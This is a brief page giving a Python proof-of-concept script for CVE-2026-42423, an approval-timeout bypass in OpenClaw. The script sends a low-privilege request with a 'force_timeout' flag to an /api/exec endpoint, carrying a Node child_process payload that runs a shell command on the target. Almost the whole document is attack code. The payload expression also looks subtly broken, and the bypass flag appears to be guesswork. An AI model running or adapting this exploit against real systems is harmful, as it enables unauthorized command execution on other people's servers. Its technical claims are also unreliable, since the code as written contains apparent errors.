CVE-2026-42423 OpenClaw审批绕过致代码执行

import requests # Exploit concept for CVE-2026-42423: OpenClaw Approval Timeout Bypass # Description: This script simulates triggering the strictInlineEval bypass # by sending a request that relies on the timeout fallback mechanism. TARGET_URL = "http://target-openclaw-instance/api/exec" # Malicious command to execute via inline eval PAYLOAD = "eval(require('child_process').exec('whoami').toString())" def exploit(): session = requests.Session() headers = { "Content-Type": "application/json", # Authentication header for low-priv user "Authorization": "Bearer <low_priv_token>" } data = { "command": "inline_eval", "args": PAYLOAD, # Setting a flag or condition that triggers the fallback logic "force_timeout": True } print(f"[+] Sending payload to {TARGET_URL}...") try: # In the vulnerable version, the command executes despite strictInlineEval response = session.post(TARGET_URL, json=data, headers=headers, timeout=5) if response.status_code == 200: print("[+] Exploit successful! Command executed via timeout fallback.") print(f"[+] Response: {response.text}") else: print(f"[-] Exploit failed. Status code: {response.status_code}") except Exception as e: print(f"[-] Error: {e}") if __name__ == "__main__": exploit()